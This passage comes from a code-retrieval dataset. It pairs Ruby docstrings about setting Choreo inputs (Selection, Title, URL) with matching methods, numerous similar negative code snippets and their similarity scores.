"0.6868123",
"0.68650955",
"0.68596345",
"0.68596345",
"0.68572885",
"0.68495125",
"0.68419427",
"0.68309504",
"0.68229234",
"0.682035",
"0.68140966",
"0.68084556",
"0.68034995",
"0.67982763",
"0.67878705",
"0.6776851",
"0.67661107",
"0.6763892",
"0.6763892",
"0.67592376",
"0.67582625",
"0.67523783",
"0.67408395",
"0.67389864",
"0.6735446",
"0.6730393",
"0.6728409",
"0.67259127"
] | 0.0 | -1 |
Set the value of the Selection input for this Choreo. | def set_Selection(value)
set_input("Selection", value)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_selection\n @selection = Selection.find(params[:id])\n end",
"def selected=(selected)\n @selected = selected\n update_cursor\n end",
"def set_selection(*args)\n # Check for a cell reference in A1 notation and substitute row and column\n if args[0] =~ /^\\D/\n args = substitute_cellref(*args)\n end\n @selection = args\n end",
"def selection\n eval_param(:selection)\n end",
"def SetSelect(select)\n\t\t assert { select.instance_of? String }\n\t\t @select = select\n\t\tend",
"def selected=(value)\n return if value == @selected\n if value\n move(*SELECT_POSITION_OFFSET)\n @icon.select(1, @real_index)\n @icon.angle = ANGLE_VARIATION\n else\n move(-SELECT_POSITION_OFFSET.first, -SELECT_POSITION_OFFSET.last)\n @icon.select(0, @real_index)\n @icon.angle = 0\n end\n @selected = value\n @counter = 0\n end",
"def set option_value\n self.select option_value\n end",
"def set_selection_criterium\n @selection_criterium = SelectionCriterium.find(params[:id])\n end",
"def selections=(strings)\n @selections = strings\n if @selections.empty?\n self.text = nil\n else\n self.text = @selections[0]\n end\n end",
"def select(val)\n raise \"select requires a String.\" unless val.is_a? String\n @select = val\n self\n end",
"def selection\n\t\t\t$ruvim.editor.selection\n\t\tend",
"def set_question_option_selection\n @question_option_selection = QuestionAnswer.question_option_selections.find(params[:id])\n end",
"def toggle_selection\n buffer_current.toggle_selection\n update_status_line\n end",
"def selected=(selected)\n @selected = selected\n @selector.visible = selected || @moving\n end",
"def selected_federation_uris=(selection)\n\n only_use(selection)\n\n end",
"def initialize\n @selection\n end",
"def set_sel(first, last)\n send_message(:SETSEL, first, last)\n end",
"def set_selected_values(port, selection_mask, value_mask)\n send_request(FUNCTION_SET_SELECTED_VALUES, [port, selection_mask, value_mask], 'k C C', 0, '')\n end",
"def select(...)\n prompt.select(...)\n end",
"def selection *params\n opt = parse_params_for_select params\n return @adapter.selection(opt)\n end",
"def selection(cell)\n\t\t@last = cell\n\t\[email protected](cellsFromFirstToEnd())\n\t\[email protected]()\n\tend",
"def selector=(sel)\n @selector = case sel\n when nil\n {}\n when Code\n {\"$where\" => sel}\n when String\n {\"$where\" => Code.new(sel)}\n when Hash\n sel\n end\n end",
"def insel=(val)\n case val\n when Fixnum\n 4.times {|i| send(\"input_sel#{i}=\", val)}\n when Array\n val.each_with_index {|v,i| send(\"input_sel#{i}=\", v) if v}\n when Hash\n insel(val)\n end\n end",
"def item_selected=(value)\n @item_selected = value\n end",
"def select_option\n print_menu\n @choice = gets.chomp\n perform_selection\n end",
"def select()\n return unless @@auth\n window.getSelection().removeAllRanges()\n @state = ( @state == :open ? :closed : :open )\n end",
"def draw_selection\n return unless active_field? && sel_x != pos_x\n\n @window.draw_rectangle(\n @point.offset(sel_left, 0), Size(sel_width, height), 0, SELECTION_COLOR\n )\n end",
"def set_Region(value)\n set_input(\"Region\", value)\n end",
"def toggle_selection_mode\n if @mode == 'SEL'\n unselect_all\n @mode = nil\n message 'Selection mode is single. '\n else\n @mode = 'SEL'\n message 'Typing a hint selects the file. Typing again will clear . '\n end\nend",
"def select\n @selected = true\n @image.rect(BORDER, BORDER, @image.width - BORDER, @image.height - BORDER, color: DeathAngel::SELECTED_COLOR, thickness: BORDER * 2)\n end",
"def set_selected_state(relay, state)\n send_request(FUNCTION_SET_SELECTED_STATE, [relay, state], 'C ?', 0, '')\n end",
"def selection_clear\n execute_only(:selection, :clear)\n end",
"def set_product(product_name)\n if can_select_product?(product_name)\n @selection = product_from_name(product_name)\n else\n get_selection_error(product_name)\n end\n end",
"def set_Region(value)\n set_input(\"Region\", value)\n end",
"def set_choice\n\t\t\t@choice = Choice.find(params[:id])\n\t\tend",
"def select *selection\n @measures.merge! paramerize(selection, VALID_MEASURES, 'Invalid measurement selection')\n self\n end",
"def select(select=nil)\n @options[:select] = select if select.kind_of?(String)\n end",
"def only_use(selection)\n\n @selected_federation_uris = []\n \n case selection\n when String\n @selected_federation_uris << selection\n when Array\n @selected_federation_uris.concat(selection)\n when Hash\n @selected_federation_uris.concat(selection.keys)\n when :all, :everything, nil, false\n @selected_federation_uris = []\n else\n raise \"Expected federation/source selection to be single uri or array\"\n end\n\n end",
"def set(value)\n execute_only(:set, value)\n end",
"def update\n @selection = Selection.find(params[:id])\n\n respond_to do |format|\n if @selection.update_attributes(params[:selection])\n format.html { redirect_to(@selection, :notice => 'Selection was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @selection.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_spek_selection\n @spek_selection = SpekSelection.find(params[:id])\n end",
"def set( setThis )\r\n assert_exists\r\n assert_enabled\r\n assert_not_readonly\r\n \r\n highlight(:set)\r\n @o.scrollIntoView\r\n @o.focus\r\n @o.select()\r\n @o.fireEvent(\"onSelect\")\r\n @o.value = \"\"\r\n @o.fireEvent(\"onKeyPress\")\r\n doKeyPress( setThis )\r\n highlight(:clear)\r\n @o.fireEvent(\"onChange\")\r\n @o.fireEvent(\"onBlur\")\r\n end",
"def select(select)\n self.query.select = select\n self\n end",
"def setSelections(params)\n setRecordDetailSelections(params)\n \n setFieldSelections(params)\n end",
"def set_choice\n @choice = Choice.find(params[:id])\n end",
"def set_choice\n @choice = Choice.find(params[:id])\n end",
"def set_choice\n @choice = Choice.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @selection.update(selection_params)\n format.html { redirect_to redirect_panel_path, notice: 'Selection was successfully updated.' }\n format.json { render :show, status: :ok, location: @selection }\n else\n format.html { render :edit }\n format.json { render json: @selection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_selecionado\n @selecionado = Selecionado.find(params[:id])\n end",
"def select\n @hidden = 0 # Selected worksheet can't be hidden.\n @selected = 1\n end",
"def set_election\n @election = Election.find(params[:id])\n end",
"def selection_likelihood=(value)\n @selection_likelihood = value\n end",
"def selected_crop=(crop)\n @selected_crop = crop\n end",
"def clear_selection()\n @last_pos = nil\n @selection = nil\n end",
"def add_selection(pane, options = {})\n @selections[pane] = Selection.new(options.merge(:pane => pane))\n end",
"def set_selected(selected)\n default_color = Gtk::Widget.default_style.bg(Gtk::STATE_NORMAL)\n self.modify_bg(Gtk::STATE_NORMAL, selected ? Gdk::Color.new(65535,0,0) : default_color)\n self.show\n end",
"def set_city_selection\n @city_selection = CitySelection.find(params[:id])\n end",
"def set_selected_answer\n @selected_answer = SelectedAnswer.find(params[:id])\n end",
"def set_selected_item\n @selected_item = SelectedItem.find(params[:id])\n end",
"def select\n @hidden = 0 # Selected worksheet can't be hidden.\n @selected = 1\n end",
"def allow_staff_selection=(value)\n @allow_staff_selection = value\n end",
"def set_warehouse_selection\n @warehouse_selection = WarehouseSelection.find(params[:id])\n end",
"def canvas_resource_selection!(params = {})\n set_canvas_ext_param(:resource_selection, params)\n end",
"def toggle_select f=current_file\n # if selected? File.join(@current_dir, current_file)\n if selected? expand_path(current_file)\n remove_from_selection f\n else\n @selected_files.clear unless @multiple_selection\n add_to_selection f\n end\n message \"#{@selected_files.count} files selected. \"\n\n # 2019-04-24 - trying to avoid redrawing entire screen.\n # If multiple_selection then current selection is either added or removed,\n # nothing else changes, so we redraw only if not multi. Also place cursor\n # i.e. redraw current row if mutliple selection\n if @multiple_selection\n redraw_required false\n place_cursor\n end\nend",
"def set_selected(item_no)\n if @selected\n @selected=item_no\n @item[@selected].contents.each{|x| x.contents[1].style(:fill=>salmon)}\n end\n end",
"def selection_present\n execute(:selection, :present).to_boolean\n end",
"def selection_range\n attributes.fetch(:selectionRange)\n end",
"def set_election\n @election = Election.find(params[:id])\n end",
"def set_election\n @election = Election.find(params[:id])\n end",
"def set_election\n @election = Election.find(params[:id])\n end",
"def set_election\n @election = Election.find(params[:id])\n end",
"def set_election\n\t\t@election = Election.find(params[:id])\n\tend",
"def menu(selected)\n @menu = selected\n end",
"def update_selection_rect\n pos = @text.selection_start\n if pos == 0\n @selection_rect.x = 1\n else\n @selection_rect.x = @sprite.bitmap.text_size(value[0...pos]).width\n end\n delta = @cursor.x - @selection_rect.x\n @selection_rect.zoom_x = delta.abs\n @selection_rect.x += delta if delta < 0\n end",
"def create\n @selection = Selection.new(params[:selection])\n\n respond_to do |format|\n if @selection.save\n format.html { redirect_to(@selection, :notice => 'Selection was successfully created.') }\n format.xml { render :xml => @selection, :status => :created, :location => @selection }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @selection.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def selection_mode_toggle\n return unless $selection_allowed\n if $mode == 'SEL'\n # we seem to be coming out of select mode with some files\n if $selected_files.size > 0\n run_command $selected_files\n end\n $mode = nil\n else\n #$selection_mode = !$selection_mode\n $mode = 'SEL'\n end\nend",
"def set_highlight(val)\n add_actions \"SetHighlight(#{val})\"\n end",
"def set_choice_set\n @choice_set = ChoiceSet.find(params[:id])\n end",
"def remove_selection\n buffer_current.remove_selection\n update_status_line\n end",
"def selection_mode_toggle\n if $mode == 'SEL'\n # we seem to be coming out of select mode with some files\n if $selected_files.size > 0\n run_command $selected_files\n end\n $mode = nil\n else\n #$selection_mode = !$selection_mode\n $mode = 'SEL'\n end\nend",
"def x=(x)\n super(x)\n @selectable_window.x = x\n end",
"def visual_select(command)\n @visual_selection_range = [0,0]\n case command\n when 've'\n visual_select_word\n when 'v$'\n visual_select_input\n when /^vt(.)$/\n visual_select_char(command)\n end\n @visual_selection_range\n end",
"def set_choice\n @choice = @question.choices.find(params[:id])\n end",
"def tvSetCurSel _args\n \"tvSetCurSel _args;\" \n end",
"def the_choice\n key = eval_param(:selection)\n\n if key.nil?\n raise IndexError, \":selection returned nil value\"\n end\n\n obj = @choices[key]\n if obj.nil?\n # instantiate choice object\n choice_klass, choice_params = no_eval_param(:choices)[key]\n if choice_klass.nil?\n raise IndexError, \"selection #{key} does not exist in :choices\"\n end\n obj = choice_klass.new(choice_params, self)\n @choices[key] = obj\n end\n\n # for single_values copy the value when the selected object changes\n if key != @last_key\n if @last_key != nil\n prev = @choices[@last_key]\n if prev != nil and prev.single_value? and obj.single_value?\n obj.value = prev.value\n end\n end\n @last_key = key\n end\n\n obj\n end",
"def lbSetSelected _obj, _args\n \"_obj lbSetSelected _args;\" \n end",
"def []= (row, col, val)\n _set(gsl, row, col, val)\n end",
"def selected\n @selected\n end",
"def ask_select prompt=\"Enter selection pattern: \"\n ret = get_string prompt\n return if ret.nil? || ret == \"\"\n indices = get_matching_indices ret\n #$log.debug \"listselectionmodel: ask_select got matches#{@indices} \"\n return if indices.nil? || indices.empty?\n indices.each { |e|\n # will not work if single select !! FIXME\n add_row_selection_interval e,e\n }\n end",
"def add_selection locator, option_locator\r\n command 'addSelection', locator, option_locator\r\n end",
"def add_selection locator, option_locator\r\n command 'addSelection', locator, option_locator\r\n end",
"def selected_text\n send_command_to_control(\"GetSelected\")\n end",
"def run\n if @selector && @selection_value\n begin\n case\n when @selector =~ TO_RESOURCE_REGEX && @value.is_a?(Connect::ObjectRepresentation)\n #\n # The to_resource is a special selector when operating on an object. It will transform the\n # object into a valid resource hash and filter all attributes not available in the selected\n # object.\n #\n convert_to_resource\n when @selector =~ SLICE_REGEX && @value.is_a?(Connect::ObjectRepresentation)\n slice_object\n when @selector =~ SLICE_CONTENT_REGEX && @value.is_a?(Connect::ObjectRepresentation)\n slice_content\n when @selector =~ SLICE_REGEX && @value.is_a?(Hash)\n slice_hash\n else\n instance_eval(\"@selection_value#{@selector}\")\n end\n rescue => e\n raise ArgumentError, \"usage of invalid selector '#{@selector}' on value '#{@selection_value}',\n resulted in Ruby error #{e.message}\"\n end\n else\n @value\n end\n end",
"def store_selected_value select_locator, variable_name\r\n command 'storeSelectedValue', select_locator, variable_name\r\n end",
"def set_sem\n @sem = Sem.find(params[:id])\n end",
"def set(value)\n execute(:set, value)\n end",
"def selection_mode_toggle\n if $mode == 'SEL'\n # we seem to be coming out of select mode with some files\n if $selected_files.size > 0\n run_command $selected_files\n end\n $mode = nil\n else\n #$selection_mode = !$selection_mode\n $mode = 'SEL'\n end\nend",
"def select_with_value(val)\n guid = @driver.get_sc_guid(val)\n option_locator = \"value=regexi:^#{guid}$\"\n @driver.sc_select(:view, option_locator, self.abs_path)\n stall :select\n end",
"def selected\r\n #TODO: find a way to not need to expand and collapse before getting the selected item\r\n expand_combo\r\n collapse_combo\r\n #get_selection.first\r\n get_selection.first\r\n end",
"def insert_selection\n insert(cursor, Tk::Selection.get(type: 'UTF8_STRING'))\n end"
] | [
"0.6730609",
"0.60064816",
"0.59250665",
"0.55305684",
"0.54792243",
"0.5294307",
"0.5193717",
"0.5160014",
"0.50771934",
"0.49670652",
"0.49642852",
"0.49552462",
"0.4897551",
"0.48896053",
"0.48892686",
"0.48653993",
"0.47962394",
"0.47817543",
"0.47708645",
"0.4731124",
"0.47135183",
"0.46816796",
"0.4585757",
"0.45596343",
"0.45131576",
"0.4511567",
"0.44893634",
"0.44853956",
"0.44837978",
"0.44826823",
"0.4479832",
"0.44574162",
"0.4442942",
"0.4440654",
"0.44352",
"0.4420233",
"0.4395675",
"0.43809637",
"0.4375779",
"0.4374233",
"0.43585196",
"0.43579206",
"0.43495288",
"0.4348348",
"0.43397754",
"0.43397754",
"0.43397754",
"0.43300965",
"0.43297672",
"0.43285897",
"0.4327357",
"0.43246034",
"0.43232682",
"0.43230882",
"0.43189216",
"0.4299011",
"0.4298916",
"0.4293426",
"0.4289266",
"0.42872852",
"0.4274139",
"0.42714214",
"0.42642137",
"0.4258494",
"0.4243978",
"0.42286724",
"0.42043343",
"0.41950297",
"0.41950297",
"0.41950297",
"0.41950297",
"0.41941455",
"0.41928467",
"0.41807604",
"0.41785926",
"0.4177948",
"0.41735393",
"0.4173307",
"0.41624394",
"0.41510662",
"0.4140829",
"0.41219246",
"0.41203725",
"0.411222",
"0.41047183",
"0.41040948",
"0.41030085",
"0.4101538",
"0.4100269",
"0.40893865",
"0.40893865",
"0.40877405",
"0.4069776",
"0.40610757",
"0.4055615",
"0.40475777",
"0.40417317",
"0.40386492",
"0.4026141",
"0.4025472"
] | 0.72626334 | 0 |
Set the value of the Title input for this Choreo. | def set_Title(value)
set_input("Title", value)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_title(title)\n @title = title\n end",
"def title=(title)\n if title.nil?\n fail ArgumentError, 'invalid value for \"title\", title cannot be nil.'\n end\n @title = title\n end",
"def title=(title)\n if title.nil?\n fail ArgumentError, 'invalid value for \"title\", title cannot be nil.'\n end\n @title = title\n end",
"def setTitle(title)\n @fields['title'] = title\n self\n end",
"def setTitle(title)\n @fields['title'] = title\n self\n end",
"def setTitle(title)\n @fields['title'] = title\n self\n end",
"def setTitle(title)\n @fields['title'] = title\n self\n end",
"def title=(value)\n\t\t\t@title = value\n\t\tend",
"def title=(value)\n @title = value\n end",
"def title=(value)\n @title = value\n end",
"def title=(value)\n @title = value\n end",
"def title=(value)\n @title = value\n end",
"def title=(value)\n @title = value\n end",
"def title=(value)\n @title = value\n end",
"def title=(value)\n @title = value\n end",
"def set_Title(value)\n set_input(\"Title\", value)\n end",
"def set_Title(value)\n set_input(\"Title\", value)\n end",
"def set_Title(value)\n set_input(\"Title\", value)\n end",
"def set_Title(value)\n set_input(\"Title\", value)\n end",
"def set_Title(value)\n set_input(\"Title\", value)\n end",
"def set_Title(value)\n set_input(\"Title\", value)\n end",
"def set_Title(value)\n set_input(\"Title\", value)\n end",
"def set_Title(value)\n set_input(\"Title\", value)\n end",
"def set_Title(value)\n set_input(\"Title\", value)\n end",
"def set_Title(value)\n set_input(\"Title\", value)\n end",
"def set_Title(value)\n set_input(\"Title\", value)\n end",
"def title_set(title)\n self.sirname.set title\n end",
"def title=(value)\n if value\n @title = value if value.is_a? String\n end\n end",
"def title(title)\n @title = title\n end",
"def title=(title)\n if title.nil?\n fail ArgumentError, 'title cannot be nil'\n end\n\n if title.to_s.length < 1\n fail ArgumentError, 'invalid value for \"title\", the character length must be great than or equal to 1.'\n end\n\n @title = title\n end",
"def SetTitle(title)\n\t\t#Title of document\n\t\t@title = title\n\tend",
"def set_title_locally(title)\n @title = title\n end",
"def title=(title)\n @attributes[:title] = title\n end",
"def setTitle(title)\r\n\t\t\t\t\t@title = title\r\n\t\t\t\tend",
"def title=(new_title = nil)\n @info[:Title] = new_title\n end",
"def title(title)\n @title=title\n end",
"def set_title(params)\n @title.merge_with_hash(params)\n end",
"def title=( new_title )\n if not @read_only\n @title = new_title\n end\n end",
"def title=(v)\n if @title != v\n @needs_commit = true\n @title = v\n end\n end",
"def setTitle(title)\n if title\n DOM.setAttribute(@element, \"title\", title)\n else\n DOM.removeAttribute(@element, \"title\")\n end\n end",
"def title=( new_title )\n unless @read_only\n @title = new_title\n end\n end",
"def title=(title)\n\n if !title.nil? && title.to_s.length > 100\n fail ArgumentError, \"invalid value for 'title', the character length must be smaller than or equal to 100.\"\n end\n\n @title = title\n end",
"def title=(title)\n\n if !title.nil? && title.to_s.length > 50\n fail ArgumentError, \"invalid value for 'title', the character length must be smaller than or equal to 50.\"\n end\n\n @title = title\n end",
"def title=(title)\n\n if !title.nil? && title.to_s.length > 50\n fail ArgumentError, \"invalid value for 'title', the character length must be smaller than or equal to 50.\"\n end\n\n @title = title\n end",
"def title=(v)\n DataTypeValidator.validate \"#{self.class}.title\", [String, Cell], v\n if v.is_a?(String)\n @title.text = v\n elsif v.is_a?(Cell)\n @title.cell = v\n end\n end",
"def title=(v) \n DataTypeValidator.validate \"#{self.class}.title\", [String, Cell], v\n if v.is_a?(String)\n @title.text = v\n elsif v.is_a?(Cell)\n @title.cell = v\n end\n end",
"def title=(title)\n @attributes.occi!.core!.title = title\n end",
"def title=(t)\n @options[:title] = t\n end",
"def title=(title)\n t = Title.new\n t.content = title\n self.dc_titles = [t]\n title\n end",
"def title=(title)\n title = nil unless title.present?\n settings.title = title\n end",
"def title=(title)\n if self.kind == TITLE && !title.blank? && title.first == \"\\r\"\n write_attribute(:title, \" #{title}\")\n else\n write_attribute(:title, title)\n end\n end",
"def title(title)\n @item.title = title\n self\n end",
"def setTitle (title)\n @title = title.to_s\n end",
"def title(title=nil)\n title.nil? ? @title : @title = title\n end",
"def set_title\n @title = Title.find(params[:id])\n end",
"def set_title\n @title = Title.find(params[:id])\n end",
"def set_title\n @title = Title.find(params[:id])\n end",
"def set_title\n @title = Title.find(params[:id])\n end",
"def set_title\n @title = Title.find(params[:id])\n end",
"def title=(title=\"Untitled Document\")\n # Clean the stripped title\n self[:title] = CGI.unescape_html(self.strip title.strip)\n end",
"def ctitle(title)\n self.title = title\n end",
"def title=(title)\n\t super(standardize_title(title))\n\t\t\t#self[:title] = title.strip\n\tend",
"def title=(title)\n Element.attr self, 'title', title\n end",
"def set_title=(post_title)\n\t\t@title = post_title\n\tend",
"def title=(new_title)\n @title = new_title\n self.cache_object.title = new_title unless self.cache_object.nil?\n end",
"def title=(title)\n title = nil if title.blank?\n @settings.title = title\n end",
"def set_title(new_title, opts={})\n if self.datastreams.has_key?(\"descMetadata\")\n desc_metadata_ds = self.datastreams[\"descMetadata\"]\n if desc_metadata_ds.respond_to?(:title_values)\n desc_metadata_ds.title_values = new_title\n else\n desc_metadata_ds.title = new_title\n end\n end\n end",
"def title=(title)\n if not (self.type == :link || self.type == :image)\n raise NodeError, \"can't set title for non-link or image\"\n end\n if !title.kind_of?(String)\n raise NodeError, \"title must be a String\"\n end\n # Make our own copy so ruby won't garbage-collect it:\n c_title = FFI::MemoryPointer.from_string(title)\n res = CMark.node_set_title(@pointer, c_title)\n if res == 0 then raise NodeError, \"could not set header level\" end\n end",
"def title= title\n @title = title\n end",
"def set_title\r\n @title = Title.find(params[:id])\r\n end",
"def title(title = nil)\n @title = title if title\n @title\n end",
"def title=(title)\n @title = @template.instance_variable_set(\"@title\", title)\n end",
"def set_title(params)\n name, name_formula = process_names(params[:name], params[:name_formula])\n\n data_id = get_data_id(name_formula, params[:data])\n\n @title_name = name\n @title_formula = name_formula\n @title_data_id = data_id\n\n # Set the font properties if present.\n @title_font = convert_font_args(params[:name_font])\n end",
"def title=(string)\n @title ||= string\n end",
"def title=(args)\n unless args.is_a?(String) || args.is_a?(Array)\n raise ArgumentError, \"You must provide a string or an array. You provided #{args.inspect}\"\n end\n args = Array(args)\n if args.first.is_a?(String)\n return if args == [''] \n args.each do |title_name|\n self.title_attributes = [{value: title_name, title_type: \"Program\"}]\n end\n else\n descMetadata.title=args\n end\n end",
"def title=( new_title ) ##(main\n unless @read_only\n @title = new_title \n end \n end",
"def title(value = nil)\n value ? options[:title] = value : options[:title]\n end",
"def title_is(title = nil)\n title_is_empty if title.nil? || title.empty?\n @title = title\n end",
"def set_title\n @title ||= ask(\"What is the title of this session?\", \"No Title\")\n end",
"def dmpSetTitle(k,title) ;\n @title[k] = title ;\n end",
"def title=(value)\n @peer.title = value\n end",
"def set(args, ac=true)\n super(args, ac)\n @title_label.value = @style[:title] if @title_label\n end",
"def set(args, ac=true)\n super(args, ac)\n @title_label.value = @style[:title] if @title_label\n end",
"def title(val)\n args_def.title = val\n end",
"def page_title=(title)\n @content_for_page_title = title\n end",
"def update_title( doc_id:, title: )\n send_request :post, \"document/#{@app}/#{doc_id}/title/#{URI.escape title}\", {}, :json\n end",
"def set_window_title(window, title)\n window.custom_title.set(title)\n end",
"def set_window_title(window, title)\n window.custom_title.set(title)\n end",
"def set_window_title(window, title)\n window.custom_title.set(title)\n end",
"def title(title)\n filename(title)\n @methods[:title] = title\n end",
"def set_page_title(title)\n @page_title = title\n end",
"def title=(title)\n\t\twords = title.split(\" \")\n\t\t\n\t\t@title = words.map.with_index {|word, idx|\n\t\t\tif cap?(word) || idx == 0\n\t\t\t\t# If a word isn't in the don't cap list, we capitalize it, but first we need to see if it has a hyphen and test the sub-words in the hypenated word. It will also capitalize any hyphenated word if that word is at the beginning of the title\n\t\t\t\t#\n\t\t\t\tif word.include?(\"-\")\n\t\t\t\t\tword.split(\"-\").map!.with_index {|w, i| w.capitalize if cap?(word) || i == 0 }.join(\"-\")\n\t\t\t\telse\n\t\t\t\t\tword.capitalize\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tword\n\t\t\tend\n\t\t}.join(\" \")\n\tend",
"def title=(value)\n write_attribute(:title, value.capitalize)\n end",
"def set_course_title(course_id, title, opts = {})\n set_course_title_with_http_info(course_id, title, opts)\n nil\n end",
"def title=(value)\n super(value)\n self.set_prefix\n return self.title\n end",
"def setTitle(titleText)\n self.window.title = checkParameter(titleText) do\n NSBundle.mainBundle.infoDictionary['CFBundleName'] # default\n end\n @title = self.window.title\n end",
"def capitalize_title\n self.title = title.capitalize\n end",
"def title=(new_title)\n @title= Book.titleize(new_title)\n end",
"def title=(title)\n self.remove_children :title\n if title\n self << (t = XMPPNode.new(:title))\n t.namespace = self.namespace\n t.content = title\n end\n end",
"def title=(new_title)\n write_attribute(:permalink, Permalink.from(new_title)) unless self.custom_permalink?\n write_attribute(:title, new_title)\n end"
] | [
"0.7805282",
"0.77696145",
"0.77696145",
"0.7668345",
"0.7668345",
"0.7668345",
"0.7668345",
"0.76442933",
"0.7638002",
"0.7638002",
"0.7638002",
"0.7638002",
"0.7638002",
"0.7638002",
"0.7638002",
"0.7618395",
"0.7618395",
"0.7618395",
"0.7618395",
"0.7618395",
"0.7618395",
"0.7618395",
"0.7618395",
"0.7618395",
"0.759577",
"0.759577",
"0.75787",
"0.7484066",
"0.7474224",
"0.74601024",
"0.7437193",
"0.7416848",
"0.74135923",
"0.74127513",
"0.7392038",
"0.7296504",
"0.7292538",
"0.72755396",
"0.7238563",
"0.72357357",
"0.7224763",
"0.7219315",
"0.72133553",
"0.72133553",
"0.71992195",
"0.71870434",
"0.71480685",
"0.71362853",
"0.7122981",
"0.71212274",
"0.70786625",
"0.7076837",
"0.7063074",
"0.70575225",
"0.70411915",
"0.70411915",
"0.70411915",
"0.70411915",
"0.70411915",
"0.70219326",
"0.70118195",
"0.69738805",
"0.6949223",
"0.694912",
"0.69262946",
"0.6885432",
"0.6885103",
"0.6870101",
"0.6832702",
"0.6830834",
"0.6802896",
"0.6788476",
"0.6768802",
"0.6727819",
"0.67123145",
"0.67104334",
"0.67010576",
"0.6682753",
"0.6673441",
"0.6580209",
"0.65764785",
"0.657049",
"0.657049",
"0.6561327",
"0.6509792",
"0.6456849",
"0.64521474",
"0.64521474",
"0.64521474",
"0.645172",
"0.6450346",
"0.6446102",
"0.6436215",
"0.639723",
"0.6385689",
"0.6382657",
"0.6380676",
"0.63767576",
"0.63683045",
"0.6358488"
] | 0.7820923 | 0 |
Set the value of the URL input for this Choreo. | def set_URL(value)
set_input("URL", value)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def url=(value)\n @url = value\n Curl.set_option(:url, value_for(value, :string), handle)\n end",
"def set_URL(value)\n set_input(\"URL\", value)\n end",
"def set_URL(value)\n set_input(\"URL\", value)\n end",
"def set_URL(value)\n set_input(\"URL\", value)\n end",
"def set_URL(value)\n set_input(\"URL\", value)\n end",
"def set_URL(value)\n set_input(\"URL\", value)\n end",
"def set_URL(value)\n set_input(\"URL\", value)\n end",
"def set_URL(value)\n set_input(\"URL\", value)\n end",
"def setURL(url)\r\n\t\t\t\t\t@url = url\r\n\t\t\t\tend",
"def setURL(url)\r\n\t\t\t\t\t@url = url\r\n\t\t\t\tend",
"def setURL(url)\r\n\t\t\t\t\t@url = url\r\n\t\t\t\tend",
"def setURL(url)\r\n\t\t\t\t\t@url = url\r\n\t\t\t\tend",
"def setURL(url)\r\n\t\t\t\t\t@url = url\r\n\t\t\t\tend",
"def url=(v)\n @url = v ? URI.parse(v) : nil\n end",
"def url=(url)\n if url.nil?\n fail ArgumentError, 'url cannot be nil'\n end\n\n if url.to_s.length > 2083\n fail ArgumentError, 'invalid value for \"url\", the character length must be smaller than or equal to 2083.'\n end\n\n if url.to_s.length < 1\n fail ArgumentError, 'invalid value for \"url\", the character length must be great than or equal to 1.'\n end\n\n @url = url\n end",
"def url=(url)\n @@url = url\n end",
"def url=(new_url)\n @url = sanitize_url(new_url)\n end",
"def url=(value)\n if value.nil?\n @url = nil\n else\n @url = Addressable::URI.parse(value)\n @url.path << '/' unless @url.path.end_with?('/')\n end\n end",
"def url(value)\n @url = value\n end",
"def url(url)\n @url = url\n end",
"def url=(url)\n if url =~ /^http(s?)\\:\\/\\//i\n @url = url\n write_settings\n else\n $stderr.puts \"Please include a leading http://\"\n end\n end",
"def url=(url)\n\n if !url.nil? && url.to_s.length > 500\n fail ArgumentError, \"invalid value for 'url', the character length must be smaller than or equal to 500.\"\n end\n\n @url = url\n end",
"def url=(value)\n value = \"http://#{value}\" unless value.empty? || value =~ %r{^http://} || value =~ %r{^https://}\n write_local(:url, value)\n end",
"def url=(url)\n @@url = url\n end",
"def url=(url)\n active_window.url = url\n end",
"def url=(url)\n @url = url\n @connection = nil\n end",
"def url=(url)\n if not (self.type == :link || self.type == :image)\n raise NodeError, \"can't set URL for non-link or image\"\n end\n if !url.kind_of?(String)\n raise NodeError, \"url must be a String\"\n end\n # Make our own copy so ruby won't garbage-collect it:\n c_url = FFI::MemoryPointer.from_string(url)\n res = CMark.node_set_url(@pointer, c_url)\n if res == 0 then raise NodeError, \"could not set header level\" end\n end",
"def set_url\n @url = DEFAULT_URL\n end",
"def set_url(url_value)\n @path = url_value.delete_prefix \"/\"\n @dir = File.dirname(@path)\n @url = url_value\n end",
"def url=(url)\n if url.nil?\n fail ArgumentError, 'url cannot be nil'\n end\n\n pattern = Regexp.new(/^https:\\/\\/(lob-assets|lob-assets-staging)\\.com\\/(letters|postcards|bank-accounts|checks|self-mailers|cards)\\/[a-z]{3,4}_[a-z0-9]{15,16}(\\.pdf|_thumb_[a-z]+_[0-9]+\\.png)\\?(version=[a-z0-9-]*&)?expires=[0-9]{10}&signature=[a-zA-Z0-9_-]+$/)\n if url !~ pattern\n fail ArgumentError, \"invalid value for \\\"url\\\", must conform to the pattern #{pattern}.\"\n end\n\n @url = url\n end",
"def url=(url)\n if url.nil?\n fail ArgumentError, 'url cannot be nil'\n end\n\n pattern = Regexp.new(/^https:\\/\\/(lob-assets|lob-assets-staging)\\.com\\/(letters|postcards|bank-accounts|checks|self-mailers|cards)\\/[a-z]{3,4}_[a-z0-9]{15,16}(\\.pdf|_thumb_[a-z]+_[0-9]+\\.png)\\?(version=[a-z0-9-]*&)?expires=[0-9]{10}&signature=[a-zA-Z0-9_-]+$/)\n if url !~ pattern\n fail ArgumentError, \"invalid value for \\\"url\\\", must conform to the pattern #{pattern}.\"\n end\n\n @url = url\n end",
"def set_url\n url 'set'\n end",
"def url!(url=nil)\n url.kind_of?(String) ? @session.chanserv.set(self.name, :url, url) : @session.chanserv.set(self.name, :url)\n end",
"def url(url)\n @item.url = url.to_s\n self\n end",
